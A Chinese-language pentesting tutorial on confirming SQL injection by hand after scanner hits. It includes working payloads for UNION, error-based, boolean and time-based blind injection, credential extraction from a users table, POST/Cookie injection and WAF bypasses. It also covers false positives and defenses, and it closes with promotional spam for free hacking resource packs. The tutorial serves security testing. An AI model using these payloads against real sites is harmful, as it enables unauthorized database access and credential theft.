ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Web 漏洞验证:SQL 注入手工复现技巧

Web 漏洞验证:SQL 注入手工复现技巧 Web 漏洞验证SQL 注入手工复现技巧前言上一篇 Xray 文章提到扫描器给出的 SQL 注入高危漏洞只能作为线索不能直接当作真实漏洞。很多新手拿到 Xray 的报告直接写进渗透报告结果提交之后被判定为误报。SQL 注入的核心验证方式就是手工复现理解 SQL 语句拼接逻辑区分真假注入拿到可复现的 POC 证据。免责声明本文所有内容仅用于个人靶场学习、拥有书面授权的安全评估。严禁在未授权网站、公网业务执行 SQL 注入测试禁止使用 DROP、DELETE 等破坏性 SQL 语句违规操作触犯《网络安全法》承担法律责任。一、SQL 注入基础原理与验证思路SQL 注入本质服务端直接把用户输入拼接到 SQL 语句中执行没有使用参数化预编译。示例原始 SQLSELECT * FROM goods WHERE id $get_id;用户传入1拼接后 SQL 变成SELECT * FROM goods WHERE id 1;多出一个单引号破坏语法数据库抛出语法错误这就是注入点初步特征。手工验证通用流程标准验证步骤定位参数GET 参数、POST 表单、Cookie、HeaderReferer/XFF 等都可能存在注入测试闭合符号单引号、双引号、括号)、))判断注入类型联合查询注入 / 报错注入 / 布尔盲注 / 时间盲注构造 Payload观察页面响应差异确认 SQL 语句可控有限度提取数据留存截图 / 请求包作为漏洞证据整理 POC用于漏洞报告。验证原则只读取不修改、不删除数据仅证明 SQL 语句可被控制即可。二、第一步识别注入点判断闭合方式数字型注入不带引号测试 Payload?id1 and 11 ?id1 and 12and 11页面正常and 12页面无数据 / 页面变化 → 数字型注入。字符型注入需要引号闭合?id1 -- ?id1 and 11 -- ?id1 and 12 ----是注释符注释后面剩余 SQL 语句。输入1页面报错1 --页面恢复正常说明是单引号闭合字符型注入。其他闭合场景id1) --双引号 括号id1)) --两个括号闭合。快速判断数据库类型根据报错信息区分数据库MySQL报错包含MySQL、syntax注释#、--MSSQLUnclosed quotation mark支持;堆叠查询OracleORA-xxxx错误码。三、四大注入类型手工复现实战MySQL3.1 UNION 联合查询注入页面直接回显最简单适用场景页面会展示查询结果能直接回显我们构造的数据。完整步骤判断列数order by排序探测?id1 order by 1 -- 正常 ?id1 order by 2 -- 正常 ?id1 order by 3 -- 正常 ?id1 order by 4 -- 报错结论查询结果一共 3 列。寻找显示位把原查询结果置空id-1 不存在?id-1 union select 1,2,3 --页面回显2、3代表第 2、3 列是显示位。读取数据库信息# 查询当前数据库名 ?id-1 union select 1,2,database() -- # 查询当前库所有表名 ?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase() -- # 查询users表所有字段名 ?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers -- # 读取账号密码数据 ?id-1 union select 1,username,password from users --拿到数据截图就是漏洞证明。3.2 报错注入页面返回数据库错误信息页面不展示查询结果但会打印 SQL 报错利用 updatexml/extractvalue 函数在报错信息带出数据。Payload 示例?id1 and updatexml(1,concat(0x7e,database(),0x7e),1) --0x7e是~用于分隔字符报错信息中会返回数据库名。读取表?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1) --限制updatexml 一次最多返回 32 个字符长数据需要截取。3.3 布尔盲注页面只有两种状态正常 / 无数据无报错页面没有回显、没有数据库报错但真假条件页面展示不同使用逻辑判断逐字符猜解数据。原理条件为真页面正常条件为假页面空白。# 判断数据库名长度是否等于8 ?id1 and if(length(database())8,1,0) -- # 判断数据库第一个字符是否为sascii编码比较 ?id1 and if(ascii(substr(database(),1,1))115,1,0) --substr截取字符串ascii转成 ASCII 码避免引号过滤。3.4 时间盲注页面永远不变无回显无差异页面无论输入什么返回页面完全一致只能依靠服务器响应延迟判断条件真假。Xray 经常误报就是这类场景必须手工验证延迟不能只看工具返回。Payload# 条件成立延迟5秒返回 ?id1 and if(ascii(substr(database(),1,1))115,sleep(5),1) --如果页面等待 5 秒才返回→ 条件为真立刻返回 → 条件假。MSSQL 时间盲注 payload?id1;WAITFOR DELAY 0:0:5--四、POST、Cookie 注入手工验证新手容易忽略很多注入不在 URL 参数而是 POST 表单或者 Cookie 里需要 Burp 抓包修改。POST 注入示例原始请求包POST /login.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded usernameadminpassword123456修改 password 参数usernameadminpassword1 and sleep(5)--观察响应是否延迟 5 秒确认注入。Cookie 注入示例抓包修改 Cookie 值Cookie: id1 and 11 --很多业务会直接读取 Cookie 拼 SQL扫描器经常漏掉这类注入点。五、过滤与 WAF 绕过验证过程常用技巧验证时遇到 WAF 拦截、关键词过滤简单绕过用于证明漏洞存在不做深度脱库。空格过滤用/**/、%09(tab)代替空格?id1/**/and/**/sleep(5)--大小写变形UNion SeLeCt部分简单过滤器只匹配小写内联注释MySQL 特有?id-1 union/*!select*/1,2,3--引号绕过使用0x十六进制代替字符串避免单引号被拦截select table_name from information_schema.tables where table_schema0x7365637572697479注意绕过仅用于漏洞验证不要大规模脱库。六、区分真实漏洞和误报实战核心报告必看扫描器 Xray/Sqlmap 大量误报下面是高频误报场景WAF 拦截页面输入单引号WAF 返回固定拦截页面页面内容变化扫描器误判布尔注入。✅验证更换 Payload观察是否可控 SQL 逻辑如果只是 WAF 页面跳转属于误报。页面随机字符串页面每次访问返回随机文本扫描器认为 payload 被输出判定 XSS/SQL 注入。时间盲注误报网络延迟网络抖动造成响应时间变长工具误判 sleep 生效。✅验证多次重复发包对比控制变量排除网络延迟干扰。单引号被转义后端 addslashes 自动转义变成\SQL 语法不会被破坏扫描器误报。漏洞确认标准满足其一即可证明真实 SQL 注入UNION 联合查询成功回显自定义数据报错注入数据库报错带出查询内容布尔注入11与12页面稳定差异时间盲注ifsleep 条件成立时稳定延迟多次复现。七、漏洞 POC 编写直接放进渗透报告POC 模板示例联合注入漏洞地址http://127.0.0.1/index.php 漏洞参数GET id Payload http://127.0.0.1/index.php?id-1 union select 1,2,database() -- 复现结果页面回显数据库名称security可控制SQL语句读取数据库信息。 风险攻击者可读取全部数据库敏感数据。报告附带请求包 响应截图证明可复现。八、手工验证避坑清单❌ 坑 1直接使用drop、delete等破坏性语句严禁验证漏洞只 select 读取不能修改删除业务数据。❌ 坑 2生产环境高并发盲注大量请求打满数据库 CPU✅ 策略降低请求频率少量 payload 验证即可不要跑全量猜解。❌ 坑 3只跑工具不手工验证直接提交漏洞红蓝对抗 / 等保测评中工具结果不算证据人工可复现 POC 才是漏洞证据。❌ 坑 4忽略 Header 注入点只测试 URL 参数XFF、Referer、UserAgent、Cookie 都有可能存在注入很多业务漏洞藏在这里。❌ 坑 5时间盲注只测一次网络延迟就判定漏洞网络波动会造成误判至少 3 次对比测试。九、SQL 注入防御方案蓝队视角报告建议使用参数化预编译查询PDO、PreparedStatement这是最根本防御杜绝 SQL 拼接最小权限原则业务数据库账号禁止 file、drop 等高权限生产环境关闭详细 SQL 报错统一返回自定义 40 页面输入白名单校验数字参数只允许数字WAF 作为辅助防护不能替代代码层修复。十、完整实战验证链路总结Xray 扫描发现疑似 SQL 注入漏洞Burp 抓包定位参数测试闭合符号判断注入类型联合 / 报错 / 布尔 / 时间盲注构造最小 Payload 验证确认 SQL 逻辑可控多次复现排除网络、WAF 造成的误报截取请求响应包编写 POC写入安全报告给出代码修复建议。总结SQL 注入手工复现的核心不是脱库拿数据而是证明用户输入可以修改后端 SQL 语义。扫描器只能帮我们找到可疑点真假漏洞必须人工验证。在等保、渗透测试、漏洞挖掘中熟练手工验证 SQL 注入能快速过滤误报写出高质量漏洞报告。工具只是辅助理解 SQL 执行逻辑才是白帽的基本功。一句话记住工具给线索人工验真假验证只读取不破坏业务。以上就是今天的分享觉得有帮助记得点赞收藏以上所说到的漏洞扫描工具都整理成压缩包了朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】同时还为准备学习网络安全黑客或者正在学习整理了一套360独家内部资料包含以下内容如有需要也可文末获取①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源⑨历年CTF夺旗赛题解析一、网络安全黑客学习路线网络安全黑客学习路线形成网络安全领域所有的知识点汇总它的用处就在于你可以按照上面的知识点去找对应的学习资源保证自己学得较为全面。二、网络安全教程视频我们在看视频学习的时候不能光动眼动脑不动手比较科学的学习方法是在理解之后运用它们这时候练手项目就很适合了。三、网络安全CTF实战案例光学理论是没用的要学会跟着一起敲要动手实操才能将自己的所学运用到实际当中去这里带来的是CTFSRC资料HW资料毕竟实战是检验真理的唯一标准嘛~四、网络安全面试题最后我们所有的作为都是为就业服务的所以关键的临门一脚就是咱们的面试题内容所以面试题板块是咱们不可或缺的部分这里我给大家准备的就是我在面试期间准备的资料。网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
返回列表